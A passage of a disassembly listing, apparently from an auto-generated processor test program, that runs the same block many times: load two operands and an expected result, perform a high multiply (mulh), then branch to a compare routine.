4680: 14 30 ee 64 br 10 <compare>,#al
4684: 00 10 00 41 add r2,1
4688: 0d 40 ad 04 wl16 r8,0x564
468c: 0d 60 01 03 wh16 r8,0x3
4690: 10 40 01 08 ld32 r8,r8
4694: 0d 42 ce 00 wl16 r16,0x1660
4698: 0d 60 02 03 wh16 r16,0x3
469c: 10 40 02 10 ld32 r16,r16
46a0: 0d 44 e9 3c wl16 r9,0x275c
46a4: 0d 60 01 23 wh16 r9,0x3
46a8: 10 40 01 29 ld32 r9,r9
46ac: 00 60 01 10 mulh r8,r16
46b0: 20 70 03 e2 movepc rret,8
46b4: 14 30 ee 57 br 10 <compare>,#al
46b8: 00 10 00 41 add r2,1
46bc: 0d 40 ad 08 wl16 r8,0x568
46c0: 0d 60 01 03 wh16 r8,0x3
46c4: 10 40 01 08 ld32 r8,r8
46c8: 0d 42 ce 04 wl16 r16,0x1664
46cc: 0d 60 02 03 wh16 r16,0x3
46d0: 10 40 02 10 ld32 r16,r16
46d4: 0d 44 ed 20 wl16 r9,0x2760
46d8: 0d 60 01 23 wh16 r9,0x3
46dc: 10 40 01 29 ld32 r9,r9
46e0: 00 60 01 10 mulh r8,r16
46e4: 20 70 03 e2 movepc rret,8
46e8: 14 30 ee 4a br 10 <compare>,#al
46ec: 00 10 00 41 add r2,1
46f0: 0d 40 ad 0c wl16 r8,0x56c
46f4: 0d 60 01 03 wh16 r8,0x3
46f8: 10 40 01 08 ld32 r8,r8
46fc: 0d 42 ce 08 wl16 r16,0x1668
4700: 0d 60 02 03 wh16 r16,0x3
4704: 10 40 02 10 ld32 r16,r16
4708: 0d 44 ed 24 wl16 r9,0x2764
470c: 0d 60 01 23 wh16 r9,0x3
4710: 10 40 01 29 ld32 r9,r9
4714: 00 60 01 10 mulh r8,r16
4718: 20 70 03 e2 movepc rret,8
471c: 14 30 ee 3d br 10 <compare>,#al
4720: 00 10 00 41 add r2,1
4724: 0d 40 ad 10 wl16 r8,0x570
4728: 0d 60 01 03 wh16 r8,0x3
472c: 10 40 01 08 ld32 r8,r8
4730: 0d 42 ce 0c wl16 r16,0x166c
4734: 0d 60 02 03 wh16 r16,0x3
4738: 10 40 02 10 ld32 r16,r16
473c: 0d 44 ed 28 wl16 r9,0x2768
4740: 0d 60 01 23 wh16 r9,0x3
4744: 10 40 01 29 ld32 r9,r9
4748: 00 60 01 10 mulh r8,r16
474c: 20 70 03 e2 movepc rret,8
4750: 14 30 ee 30 br 10 <compare>,#al
4754: 00 10 00 41 add r2,1
4758: 0d 40 ad 14 wl16 r8,0x574
475c: 0d 60 01 03 wh16 r8,0x3
4760: 10 40 01 08 ld32 r8,r8
4764: 0d 42 ce 10 wl16 r16,0x1670
4768: 0d 60 02 03 wh16 r16,0x3
476c: 10 40 02 10 ld32 r16,r16
4770: 0d 44 ed 2c wl16 r9,0x276c
4774: 0d 60 01 23 wh16 r9,0x3
4778: 10 40 01 29 ld32 r9,r9
477c: 00 60 01 10 mulh r8,r16
4780: 20 70 03 e2 movepc rret,8
4784: 14 30 ee 23 br 10 <compare>,#al
4788: 00 10 00 41 add r2,1
478c: 0d 40 ad 18 wl16 r8,0x578
4790: 0d 60 01 03 wh16 r8,0x3
4794: 10 40 01 08 ld32 r8,r8
4798: 0d 42 ce 14 wl16 r16,0x1674
479c: 0d 60 02 03 wh16 r16,0x3
47a0: 10 40 02 10 ld32 r16,r16
47a4: 0d 44 ed 30 wl16 r9,0x2770
47a8: 0d 60 01 23 wh16 r9,0x3
47ac: 10 40 01 29 ld32 r9,r9
47b0: 00 60 01 10 mulh r8,r16
47b4: 20 70 03 e2 movepc rret,8
47b8: 14 30 ee 16 br 10 <compare>,#al
47bc: 00 10 00 41 add r2,1
47c0: 0d 40 ad 1c wl16 r8,0x57c
47c4: 0d 60 01 03 wh16 r8,0x3
47c8: 10 40 01 08 ld32 r8,r8
47cc: 0d 42 ce 18 wl16 r16,0x1678
47d0: 0d 60 02 03 wh16 r16,0x3
47d4: 10 40 02 10 ld32 r16,r16
47d8: 0d 44 ed 34 wl16 r9,0x2774
47dc: 0d 60 01 23 wh16 r9,0x3
47e0: 10 40 01 29 ld32 r9,r9
47e4: 00 60 01 10 mulh r8,r16
47e8: 20 70 03 e2 movepc rret,8
47ec: 14 30 ee 09 br 10 <compare>,#al
47f0: 00 10 00 41 add r2,1
47f4: 0d 40 b1 00 wl16 r8,0x580
47f8: 0d 60 01 03 wh16 r8,0x3
47fc: 10 40 01 08 ld32 r8,r8
4800: 0d 42 ce 1c wl16 r16,0x167c
4804: 0d 60 02 03 wh16 r16,0x3
4808: 10 40 02 10 ld32 r16,r16
480c: 0d 44 ed 38 wl16 r9,0x2778
4810: 0d 60 01 23 wh16 r9,0x3
4814: 10 40 01 29 ld32 r9,r9
4818: 00 60 01 10 mulh r8,r16
481c: 20 70 03 e2 movepc rret,8
4820: 14 30 ed fc br 10 <compare>,#al
4824: 00 10 00 41 add r2,1
4828: 0d 40 b1 04 wl16 r8,0x584
482c: 0d 60 01 03 wh16 r8,0x3
4830: 10 40 01 08 ld32 r8,r8
4834: 0d 42 d2 00 wl16 r16,0x1680
4838: 0d 60 02 03 wh16 r16,0x3
483c: 10 40 02 10 ld32 r16,r16
4840: 0d 44 ed 3c wl16 r9,0x277c
4844: 0d 60 01 23 wh16 r9,0x3
4848: 10 40 01 29 ld32 r9,r9
484c: 00 60 01 10 mulh r8,r16
4850: 20 70 03 e2 movepc rret,8
4854: 14 30 ed ef br 10 <compare>,#al
4858: 00 10 00 41 add r2,1
485c: 0d 40 b1 08 wl16 r8,0x588
4860: 0d 60 01 03 wh16 r8,0x3
4864: 10 40 01 08 ld32 r8,r8
4868: 0d 42 d2 04 wl16 r16,0x1684
486c: 0d 60 02 03 wh16 r16,0x3
4870: 10 40 02 10 ld32 r16,r16
4874: 0d 44 f1 20 wl16 r9,0x2780
4878: 0d 60 01 23 wh16 r9,0x3
487c: 10 40 01 29 ld32 r9,r9
4880: 00 60 01 10 mulh r8,r16
4884: 20 70 03 e2 movepc rret,8
4888: 14 30 ed e2 br 10 <compare>,#al
488c: 00 10 00 41 add r2,1
4890: 0d 40 b1 0c wl16 r8,0x58c
4894: 0d 60 01 03 wh16 r8,0x3
4898: 10 40 01 08 ld32 r8,r8
489c: 0d 42 d2 08 wl16 r16,0x1688
48a0: 0d 60 02 03 wh16 r16,0x3
48a4: 10 40 02 10 ld32 r16,r16
48a8: 0d 44 f1 24 wl16 r9,0x2784
48ac: 0d 60 01 23 wh16 r9,0x3
48b0: 10 40 01 29 ld32 r9,r9
48b4: 00 60 01 10 mulh r8,r16
48b8: 20 70 03 e2 movepc rret,8
48bc: 14 30 ed d5 br 10 <compare>,#al
48c0: 00 10 00 41 add r2,1
48c4: 0d 40 b1 10 wl16 r8,0x590
48c8: 0d 60 01 03 wh16 r8,0x3
48cc: 10 40 01 08 ld32 r8,r8
48d0: 0d 42 d2 0c wl16 r16,0x168c
48d4: 0d 60 02 03 wh16 r16,0x3
48d8: 10 40 02 10 ld32 r16,r16
48dc: 0d 44 f1 28 wl16 r9,0x2788
48e0: 0d 60 01 23 wh16 r9,0x3
48e4: 10 40 01 29 ld32 r9,r9
48e8: 00 60 01 10 mulh r8,r16
48ec: 20 70 03 e2 movepc rret,8
48f0: 14 30 ed c8 br 10 <compare>,#al
48f4: 00 10 00 41 add r2,1
48f8: 0d 40 b1 14 wl16 r8,0x594
48fc: 0d 60 01 03 wh16 r8,0x3
4900: 10 40 01 08 ld32 r8,r8
4904: 0d 42 d2 10 wl16 r16,0x1690
4908: 0d 60 02 03 wh16 r16,0x3
490c: 10 40 02 10 ld32 r16,r16
4910: 0d 44 f1 2c wl16 r9,0x278c
4914: 0d 60 01 23 wh16 r9,0x3
4918: 10 40 01 29 ld32 r9,r9
491c: 00 60 01 10 mulh r8,r16
4920: 20 70 03 e2 movepc rret,8
4924: 14 30 ed bb br 10 <compare>,#al
4928: 00 10 00 41 add r2,1
492c: 0d 40 b1 18 wl16 r8,0x598
4930: 0d 60 01 03 wh16 r8,0x3
4934: 10 40 01 08 ld32 r8,r8
4938: 0d 42 d2 14 wl16 r16,0x1694
493c: 0d 60 02 03 wh16 r16,0x3
4940: 10 40 02 10 ld32 r16,r16
4944: 0d 44 f1 30 wl16 r9,0x2790
4948: 0d 60 01 23 wh16 r9,0x3
494c: 10 40 01 29 ld32 r9,r9
4950: 00 60 01 10 mulh r8,r16
4954: 20 70 03 e2 movepc rret,8
4958: 14 30 ed ae br 10 <compare>,#al
495c: 00 10 00 41 add r2,1
4960: 0d 40 b1 1c wl16 r8,0x59c
4964: 0d 60 01 03 wh16 r8,0x3
4968: 10 40 01 08 ld32 r8,r8
496c: 0d 42 d2 18 wl16 r16,0x1698
4970: 0d 60 02 03 wh16 r16,0x3
4974: 10 40 02 10 ld32 r16,r16
4978: 0d 44 f1 34 wl16 r9,0x2794
497c: 0d 60 01 23 wh16 r9,0x3
4980: 10 40 01 29 ld32 r9,r9
4984: 00 60 01 10 mulh r8,r16
4988: 20 70 03 e2 movepc rret,8
498c: 14 30 ed a1 br 10 <compare>,#al
4990: 00 10 00 41 add r2,1
4994: 0d 40 b5 00 wl16 r8,0x5a0
4998: 0d 60 01 03 wh16 r8,0x3
499c: 10 40 01 08 ld32 r8,r8
49a0: 0d 42 d2 1c wl16 r16,0x169c
49a4: 0d 60 02 03 wh16 r16,0x3
49a8: 10 40 02 10 ld32 r16,r16
49ac: 0d 44 f1 38 wl16 r9,0x2798
49b0: 0d 60 01 23 wh16 r9,0x3
49b4: 10 40 01 29 ld32 r9,r9
49b8: 00 60 01 10 mulh r8,r16
49bc: 20 70 03 e2 movepc rret,8
49c0: 14 30 ed 94 br 10 <compare>,#al
49c4: 00 10 00 41 add r2,1
49c8: 0d 40 b5 04 wl16 r8,0x5a4
49cc: 0d 60 01 03 wh16 r8,0x3
49d0: 10 40 01 08 ld32 r8,r8
49d4: 0d 42 d6 00 wl16 r16,0x16a0
49d8: 0d 60 02 03 wh16 r16,0x3
49dc: 10 40 02 10 ld32 r16,r16
49e0: 0d 44 f1 3c wl16 r9,0x279c
49e4: 0d 60 01 23 wh16 r9,0x3
49e8: 10 40 01 29 ld32 r9,r9
49ec: 00 60 01 10 mulh r8,r16
49f0: 20 70 03 e2 movepc rret,8
49f4: 14 30 ed 87 br 10 <compare>,#al
49f8: 00 10 00 41 add r2,1
49fc: 0d 40 b5 08 wl16 r8,0x5a8
4a00: 0d 60 01 03 wh16 r8,0x3
4a04: 10 40 01 08 ld32 r8,r8
4a08: 0d 42 d6 04 wl16 r16,0x16a4
4a0c: 0d 60 02 03 wh16 r16,0x3
4a10: 10 40 02 10 ld32 r16,r16
4a14: 0d 44 f5 20 wl16 r9,0x27a0
4a18: 0d 60 01 23 wh16 r9,0x3
4a1c: 10 40 01 29 ld32 r9,r9
4a20: 00 60 01 10 mulh r8,r16
4a24: 20 70 03 e2 movepc rret,8
4a28: 14 30 ed 7a br 10 <compare>,#al
4a2c: 00 10 00 41 add r2,1
4a30: 0d 40 b5 0c wl16 r8,0x5ac
4a34: 0d 60 01 03 wh16 r8,0x3
4a38: 10 40 01 08 ld32 r8,r8
4a3c: 0d 42 d6 08 wl16 r16,0x16a8
4a40: 0d 60 02 03 wh16 r16,0x3
4a44: 10 40 02 10 ld32 r16,r16
4a48: 0d 44 f5 24 wl16 r9,0x27a4
4a4c: 0d 60 01 23 wh16 r9,0x3
4a50: 10 40 01 29 ld32 r9,r9
4a54: 00 60 01 10 mulh r8,r16
4a58: 20 70 03 e2 movepc rret,8
4a5c: 14 30 ed 6d br 10 <compare>,#al
4a60: 00 10 00 41 add r2,1
4a64: 0d 40 b5 10 wl16 r8,0x5b0
4a68: 0d 60 01 03 wh16 r8,0x3
4a6c: 10 40 01 08 ld32 r8,r8
4a70: 0d 42 d6 0c wl16 r16,0x16ac
4a74: 0d 60 02 03 wh16 r16,0x3
4a78: 10 40 02 10 ld32 r16,r16
4a7c: 0d 44 f5 28 wl16 r9,0x27a8
4a80: 0d 60 01 23 wh16 r9,0x3
4a84: 10 40 01 29 ld32 r9,r9
4a88: 00 60 01 10 mulh r8,r16
4a8c: 20 70 03 e2 movepc rret,8
4a90: 14 30 ed 60 br 10 <compare>,#al
4a94: 00 10 00 41 add r2,1
4a98: 0d 40 b5 14 wl16 r8,0x5b4
4a9c: 0d 60 01 03 wh16 r8,0x3
4aa0: 10 40 01 08 ld32 r8,r8
4aa4: 0d 42 d6 10 wl16 r16,0x16b0
4aa8: 0d 60 02 03 wh16 r16,0x3
4aac: 10 40 02 10 ld32 r16,r16
4ab0: 0d 44 f5 2c wl16 r9,0x27ac
4ab4: 0d 60 01 23 wh16 r9,0x3
4ab8: 10 40 01 29 ld32 r9,r9
4abc: 00 60 01 10 mulh r8,r16
4ac0: 20 70 03 e2 movepc rret,8
4ac4: 14 30 ed 53 br 10 <compare>,#al
4ac8: 00 10 00 41 add r2,1
4acc: 0d 40 b5 18 wl16 r8,0x5b8
4ad0: 0d 60 01 03 wh16 r8,0x3
4ad4: 10 40 01 08 ld32 r8,r8
4ad8: 0d 42 d6 14 wl16 r16,0x16b4
4adc: 0d 60 02 03 wh16 r16,0x3
4ae0: 10 40 02 10 ld32 r16,r16
4ae4: 0d 44 f5 30 wl16 r9,0x27b0
4ae8: 0d 60 01 23 wh16 r9,0x3
4aec: 10 40 01 29 ld32 r9,r9
4af0: 00 60 01 10 mulh r8,r16
4af4: 20 70 03 e2 movepc rret,8
4af8: 14 30 ed 46 br 10 <compare>,#al
4afc: 00 10 00 41 add r2,1
4b00: 0d 40 b5 1c wl16 r8,0x5bc
4b04: 0d 60 01 03 wh16 r8,0x3
4b08: 10 40 01 08 ld32 r8,r8
4b0c: 0d 42 d6 18 wl16 r16,0x16b8
4b10: 0d 60 02 03 wh16 r16,0x3
4b14: 10 40 02 10 ld32 r16,r16
4b18: 0d 44 f5 34 wl16 r9,0x27b4
4b1c: 0d 60 01 23 wh16 r9,0x3
4b20: 10 40 01 29 ld32 r9,r9
4b24: 00 60 01 10 mulh r8,r16
4b28: 20 70 03 e2 movepc rret,8
4b2c: 14 30 ed 39 br 10 <compare>,#al
4b30: 00 10 00 41 add r2,1
4b34: 0d 40 b9 00 wl16 r8,0x5c0
4b38: 0d 60 01 03 wh16 r8,0x3
4b3c: 10 40 01 08 ld32 r8,r8
4b40: 0d 42 d6 1c wl16 r16,0x16bc
4b44: 0d 60 02 03 wh16 r16,0x3
4b48: 10 40 02 10 ld32 r16,r16
4b4c: 0d 44 f5 38 wl16 r9,0x27b8
4b50: 0d 60 01 23 wh16 r9,0x3
4b54: 10 40 01 29 ld32 r9,r9
4b58: 00 60 01 10 mulh r8,r16
4b5c: 20 70 03 e2 movepc rret,8
4b60: 14 30 ed 2c br 10 <compare>,#al
4b64: 00 10 00 41 add r2,1
4b68: 0d 40 b9 04 wl16 r8,0x5c4
4b6c: 0d 60 01 03 wh16 r8,0x3
4b70: 10 40 01 08 ld32 r8,r8
4b74: 0d 42 da 00 wl16 r16,0x16c0
4b78: 0d 60 02 03 wh16 r16,0x3
4b7c: 10 40 02 10 ld32 r16,r16
4b80: 0d 44 f5 3c wl16 r9,0x27bc
4b84: 0d 60 01 23 wh16 r9,0x3
4b88: 10 40 01 29 ld32 r9,r9
4b8c: 00 60 01 10 mulh r8,r16
4b90: 20 70 03 e2 movepc rret,8
4b94: 14 30 ed 1f br 10 <compare>,#al
4b98: 00 10 00 41 add r2,1
4b9c: 0d 40 b9 08 wl16 r8,0x5c8
4ba0: 0d 60 01 03 wh16 r8,0x3
4ba4: 10 40 01 08 ld32 r8,r8
4ba8: 0d 42 da 04 wl16 r16,0x16c4
4bac: 0d 60 02 03 wh16 r16,0x3
4bb0: 10 40 02 10 ld32 r16,r16
4bb4: 0d 44 f9 20 wl16 r9,0x27c0
4bb8: 0d 60 01 23 wh16 r9,0x3
4bbc: 10 40 01 29 ld32 r9,r9
4bc0: 00 60 01 10 mulh r8,r16
4bc4: 20 70 03 e2 movepc rret,8
4bc8: 14 30 ed 12 br 10 <compare>,#al
4bcc: 00 10 00 41 add r2,1
4bd0: 0d 40 b9 0c wl16 r8,0x5cc
4bd4: 0d 60 01 03 wh16 r8,0x3
4bd8: 10 40 01 08 ld32 r8,r8
4bdc: 0d 42 da 08 wl16 r16,0x16c8
4be0: 0d 60 02 03 wh16 r16,0x3
4be4: 10 40 02 10 ld32 r16,r16
4be8: 0d 44 f9 24 wl16 r9,0x27c4
4bec: 0d 60 01 23 wh16 r9,0x3
4bf0: 10 40 01 29 ld32 r9,r9
4bf4: 00 60 01 10 mulh r8,r16
4bf8: 20 70 03 e2 movepc rret,8
4bfc: 14 30 ed 05 br 10 <compare>,#al
4c00: 00 10 00 41 add r2,1
4c04: 0d 40 b9 10 wl16 r8,0x5d0
4c08: 0d 60 01 03 wh16 r8,0x3
4c0c: 10 40 01 08 ld32 r8,r8
4c10: 0d 42 da 0c wl16 r16,0x16cc
4c14: 0d 60 02 03 wh16 r16,0x3
4c18: 10 40 02 10 ld32 r16,r16
4c1c: 0d 44 f9 28 wl16 r9,0x27c8
4c20: 0d 60 01 23 wh16 r9,0x3
4c24: 10 40 01 29 ld32 r9,r9
4c28: 00 60 01 10 mulh r8,r16
4c2c: 20 70 03 e2 movepc rret,8
4c30: 14 30 ec f8 br 10 <compare>,#al
4c34: 00 10 00 41 add r2,1
4c38: 0d 40 b9 14 wl16 r8,0x5d4
4c3c: 0d 60 01 03 wh16 r8,0x3
4c40: 10 40 01 08 ld32 r8,r8
4c44: 0d 42 da 10 wl16 r16,0x16d0
4c48: 0d 60 02 03 wh16 r16,0x3
4c4c: 10 40 02 10 ld32 r16,r16
4c50: 0d 44 f9 2c wl16 r9,0x27cc
4c54: 0d 60 01 23 wh16 r9,0x3
4c58: 10 40 01 29 ld32 r9,r9
4c5c: 00 60 01 10 mulh r8,r16
4c60: 20 70 03 e2 movepc rret,8
4c64: 14 30 ec eb br 10 <compare>,#al
4c68: 00 10 00 41 add r2,1
4c6c: 0d 40 b9 18 wl16 r8,0x5d8
4c70: 0d 60 01 03 wh16 r8,0x3
4c74: 10 40 01 08 ld32 r8,r8
4c78: 0d 42 da 14 wl16 r16,0x16d4
4c7c: 0d 60 02 03 wh16 r16,0x3
4c80: 10 40 02 10 ld32 r16,r16
4c84: 0d 44 f9 30 wl16 r9,0x27d0
4c88: 0d 60 01 23 wh16 r9,0x3
4c8c: 10 40 01 29 ld32 r9,r9
4c90: 00 60 01 10 mulh r8,r16
4c94: 20 70 03 e2 movepc rret,8
4c98: 14 30 ec de br 10 <compare>,#al
4c9c: 00 10 00 41 add r2,1
4ca0: 0d 40 b9 1c wl16 r8,0x5dc
4ca4: 0d 60 01 03 wh16 r8,0x3
4ca8: 10 40 01 08 ld32 r8,r8
4cac: 0d 42 da 18 wl16 r16,0x16d8
4cb0: 0d 60 02 03 wh16 r16,0x3
4cb4: 10 40 02 10 ld32 r16,r16
4cb8: 0d 44 f9 34 wl16 r9,0x27d4
4cbc: 0d 60 01 23 wh16 r9,0x3
4cc0: 10 40 01 29 ld32 r9,r9
4cc4: 00 60 01 10 mulh r8,r16
4cc8: 20 70 03 e2 movepc rret,8
4ccc: 14 30 ec d1 br 10 <compare>,#al
4cd0: 00 10 00 41 add r2,1
4cd4: 0d 40 bd 00 wl16 r8,0x5e0
4cd8: 0d 60 01 03 wh16 r8,0x3
4cdc: 10 40 01 08 ld32 r8,r8
4ce0: 0d 42 da 1c wl16 r16,0x16dc
4ce4: 0d 60 02 03 wh16 r16,0x3
4ce8: 10 40 02 10 ld32 r16,r16
4cec: 0d 44 f9 38 wl16 r9,0x27d8
4cf0: 0d 60 01 23 wh16 r9,0x3
4cf4: 10 40 01 29 ld32 r9,r9
4cf8: 00 60 01 10 mulh r8,r16
4cfc: 20 70 03 e2 movepc rret,8
4d00: 14 30 ec c4 br 10 <compare>,#al
4d04: 00 10 00 41 add r2,1
4d08: 0d 40 bd 04 wl16 r8,0x5e4
4d0c: 0d 60 01 03 wh16 r8,0x3
4d10: 10 40 01 08 ld32 r8,r8
4d14: 0d 42 de 00 wl16 r16,0x16e0
4d18: 0d 60 02 03 wh16 r16,0x3
4d1c: 10 40 02 10 ld32 r16,r16
4d20: 0d 44 f9 3c wl16 r9,0x27dc
4d24: 0d 60 01 23 wh16 r9,0x3
4d28: 10 40 01 29 ld32 r9,r9
4d2c: 00 60 01 10 mulh r8,r16
4d30: 20 70 03 e2 movepc rret,8
4d34: 14 30 ec b7 br 10 <compare>,#al
4d38: 00 10 00 41 add r2,1
4d3c: 0d 40 bd 08 wl16 r8,0x5e8
4d40: 0d 60 01 03 wh16 r8,0x3
4d44: 10 40 01 08 ld32 r8,r8
4d48: 0d 42 de 04 wl16 r16,0x16e4
4d4c: 0d 60 02 03 wh16 r16,0x3
4d50: 10 40 02 10 ld32 r16,r16
4d54: 0d 44 fd 20 wl16 r9,0x27e0
4d58: 0d 60 01 23 wh16 r9,0x3
4d5c: 10 40 01 29 ld32 r9,r9
4d60: 00 60 01 10 mulh r8,r16
4d64: 20 70 03 e2 movepc rret,8
4d68: 14 30 ec aa br 10 <compare>,#al
4d6c: 00 10 00 41 add r2,1
4d70: 0d 40 bd 0c wl16 r8,0x5ec
4d74: 0d 60 01 03 wh16 r8,0x3
4d78: 10 40 01 08 ld32 r8,r8
4d7c: 0d 42 de 08 wl16 r16,0x16e8
4d80: 0d 60 02 03 wh16 r16,0x3
4d84: 10 40 02 10 ld32 r16,r16
4d88: 0d 44 fd 24 wl16 r9,0x27e4
4d8c: 0d 60 01 23 wh16 r9,0x3
4d90: 10 40 01 29 ld32 r9,r9
4d94: 00 60 01 10 mulh r8,r16
4d98: 20 70 03 e2 movepc rret,8
4d9c: 14 30 ec 9d br 10 <compare>,#al
4da0: 00 10 00 41 add r2,1
4da4: 0d 40 bd 10 wl16 r8,0x5f0
4da8: 0d 60 01 03 wh16 r8,0x3
4dac: 10 40 01 08 ld32 r8,r8
4db0: 0d 42 de 0c wl16 r16,0x16ec
4db4: 0d 60 02 03 wh16 r16,0x3
4db8: 10 40 02 10 ld32 r16,r16
4dbc: 0d 44 fd 28 wl16 r9,0x27e8
4dc0: 0d 60 01 23 wh16 r9,0x3
4dc4: 10 40 01 29 ld32 r9,r9
4dc8: 00 60 01 10 mulh r8,r16
4dcc: 20 70 03 e2 movepc rret,8
4dd0: 14 30 ec 90 br 10 <compare>,#al
4dd4: 00 10 00 41 add r2,1
4dd8: 0d 40 bd 14 wl16 r8,0x5f4
4ddc: 0d 60 01 03 wh16 r8,0x3
4de0: 10 40 01 08 ld32 r8,r8
4de4: 0d 42 de 10 wl16 r16,0x16f0
4de8: 0d 60 02 03 wh16 r16,0x3
4dec: 10 40 02 10 ld32 r16,r16
4df0: 0d 44 fd 2c wl16 r9,0x27ec
4df4: 0d 60 01 23 wh16 r9,0x3
4df8: 10 40 01 29 ld32 r9,r9
4dfc: 00 60 01 10 mulh r8,r16
4e00: 20 70 03 e2 movepc rret,8
4e04: 14 30 ec 83 br 10 <compare>,#al
4e08: 00 10 00 41 add r2,1
4e0c: 0d 40 bd 18 wl16 r8,0x5f8
4e10: 0d 60 01 03 wh16 r8,0x3
4e14: 10 40 01 08 ld32 r8,r8
4e18: 0d 42 de 14 wl16 r16,0x16f4
4e1c: 0d 60 02 03 wh16 r16,0x3
4e20: 10 40 02 10 ld32 r16,r16
4e24: 0d 44 fd 30 wl16 r9,0x27f0
4e28: 0d 60 01 23 wh16 r9,0x3
4e2c: 10 40 01 29 ld32 r9,r9
4e30: 00 60 01 10 mulh r8,r16
4e34: 20 70 03 e2 movepc rret,8
4e38: 14 30 ec 76 br 10 <compare>,#al
4e3c: 00 10 00 41 add r2,1
4e40: 0d 40 bd 1c wl16 r8,0x5fc
4e44: 0d 60 01 03 wh16 r8,0x3
4e48: 10 40 01 08 ld32 r8,r8
4e4c: 0d 42 de 18 wl16 r16,0x16f8
4e50: 0d 60 02 03 wh16 r16,0x3
4e54: 10 40 02 10 ld32 r16,r16
4e58: 0d 44 fd 34 wl16 r9,0x27f4
4e5c: 0d 60 01 23 wh16 r9,0x3
4e60: 10 40 01 29 ld32 r9,r9
4e64: 00 60 01 10 mulh r8,r16
4e68: 20 70 03 e2 movepc rret,8
4e6c: 14 30 ec 69 br 10 <compare>,#al
4e70: 00 10 00 41 add r2,1
4e74: 0d 40 c1 00 wl16 r8,0x600
4e78: 0d 60 01 03 wh16 r8,0x3
4e7c: 10 40 01 08 ld32 r8,r8
4e80: 0d 42 de 1c wl16 r16,0x16fc
4e84: 0d 60 02 03 wh16 r16,0x3
4e88: 10 40 02 10 ld32 r16,r16
4e8c: 0d 44 fd 38 wl16 r9,0x27f8
4e90: 0d 60 01 23 wh16 r9,0x3
4e94: 10 40 01 29 ld32 r9,r9
4e98: 00 60 01 10 mulh r8,r16
4e9c: 20 70 03 e2 movepc rret,8
4ea0: 14 30 ec 5c br 10 <compare>,#al
4ea4: 00 10 00 41 add r2,1
4ea8: 0d 40 c1 04 wl16 r8,0x604
4eac: 0d 60 01 03 wh16 r8,0x3
4eb0: 10 40 01 08 ld32 r8,r8
4eb4: 0d 42 e2 00 wl16 r16,0x1700
4eb8: 0d 60 02 03 wh16 r16,0x3
4ebc: 10 40 02 10 ld32 r16,r16
4ec0: 0d 44 fd 3c wl16 r9,0x27fc
4ec4: 0d 60 01 23 wh16 r9,0x3
4ec8: 10 40 01 29 ld32 r9,r9
4ecc: 00 60 01 10 mulh r8,r16
4ed0: 20 70 03 e2 movepc rret,8
4ed4: 14 30 ec 4f br 10 <compare>,#al
4ed8: 00 10 00 41 add r2,1
4edc: 0d 40 c1 08 wl16 r8,0x608
4ee0: 0d 60 01 03 wh16 r8,0x3
4ee4: 10 40 01 08 ld32 r8,r8
4ee8: 0d 42 e2 04 wl16 r16,0x1704
4eec: 0d 60 02 03 wh16 r16,0x3
4ef0: 10 40 02 10 ld32 r16,r16
4ef4: 0d 45 01 20 wl16 r9,0x2800
4ef8: 0d 60 01 23 wh16 r9,0x3
4efc: 10 40 01 29 ld32 r9,r9
4f00: 00 60 01 10 mulh r8,r16
4f04: 20 70 03 e2 movepc rret,8
4f08: 14 30 ec 42 br 10 <compare>,#al
4f0c: 00 10 00 41 add r2,1
4f10: 0d 40 c1 0c wl16 r8,0x60c
4f14: 0d 60 01 03 wh16 r8,0x3
4f18: 10 40 01 08 ld32 r8,r8
4f1c: 0d 42 e2 08 wl16 r16,0x1708
4f20: 0d 60 02 03 wh16 r16,0x3
4f24: 10 40 02 10 ld32 r16,r16
4f28: 0d 45 01 24 wl16 r9,0x2804
4f2c: 0d 60 01 23 wh16 r9,0x3
4f30: 10 40 01 29 ld32 r9,r9
4f34: 00 60 01 10 mulh r8,r16
4f38: 20 70 03 e2 movepc rret,8
4f3c: 14 30 ec 35 br 10 <compare>,#al
4f40: 00 10 00 41 add r2,1
4f44: 0d 40 c1 10 wl16 r8,0x610
4f48: 0d 60 01 03 wh16 r8,0x3
4f4c: 10 40 01 08 ld32 r8,r8
4f50: 0d 42 e2 0c wl16 r16,0x170c
4f54: 0d 60 02 03 wh16 r16,0x3
4f58: 10 40 02 10 ld32 r16,r16
4f5c: 0d 45 01 28 wl16 r9,0x2808
4f60: 0d 60 01 23 wh16 r9,0x3
4f64: 10 40 01 29 ld32 r9,r9
4f68: 00 60 01 10 mulh r8,r16
4f6c: 20 70 03 e2 movepc rret,8
4f70: 14 30 ec 28 br 10 <compare>,#al
4f74: 00 10 00 41 add r2,1
4f78: 0d 40 c1 14 wl16 r8,0x614
4f7c: 0d 60 01 03 wh16 r8,0x3
4f80: 10 40 01 08 ld32 r8,r8
4f84: 0d 42 e2 10 wl16 r16,0x1710
4f88: 0d 60 02 03 wh16 r16,0x3
4f8c: 10 40 02 10 ld32 r16,r16
4f90: 0d 45 01 2c wl16 r9,0x280c
4f94: 0d 60 01 23 wh16 r9,0x3
4f98: 10 40 01 29 ld32 r9,r9
4f9c: 00 60 01 10 mulh r8,r16
4fa0: 20 70 03 e2 movepc rret,8
4fa4: 14 30 ec 1b br 10 <compare>,#al
4fa8: 00 10 00 41 add r2,1
4fac: 0d 40 c1 18 wl16 r8,0x618
4fb0: 0d 60 01 03 wh16 r8,0x3
4fb4: 10 40 01 08 ld32 r8,r8
4fb8: 0d 42 e2 14 wl16 r16,0x1714
4fbc: 0d 60 02 03 wh16 r16,0x3
4fc0: 10 40 02 10 ld32 r16,r16
4fc4: 0d 45 01 30 wl16 r9,0x2810
4fc8: 0d 60 01 23 wh16 r9,0x3
4fcc: 10 40 01 29 ld32 r9,r9
4fd0: 00 60 01 10 mulh r8,r16
4fd4: 20 70 03 e2 movepc rret,8
4fd8: 14 30 ec 0e br 10 <compare>,#al
4fdc: 00 10 00 41 add r2,1
4fe0: 0d 40 c1 1c wl16 r8,0x61c
4fe4: 0d 60 01 03 wh16 r8,0x3
4fe8: 10 40 01 08 ld32 r8,r8
4fec: 0d 42 e2 18 wl16 r16,0x1718
4ff0: 0d 60 02 03 wh16 r16,0x3
4ff4: 10 40 02 10 ld32 r16,r16
4ff8: 0d 45 01 34 wl16 r9,0x2814
4ffc: 0d 60 01 23 wh16 r9,0x3
5000: 10 40 01 29 ld32 r9,r9
5004: 00 60 01 10 mulh r8,r16
5008: 20 70 03 e2 movepc rret,8
500c: 14 30 ec 01 br 10 <compare>,#al
5010: 00 10 00 41 add r2,1
5014: 0d 40 c5 00 wl16 r8,0x620
5018: 0d 60 01 03 wh16 r8,0x3
501c: 10 40 01 08 ld32 r8,r8
5020: 0d 42 e2 1c wl16 r16,0x171c
5024: 0d 60 02 03 wh16 r16,0x3
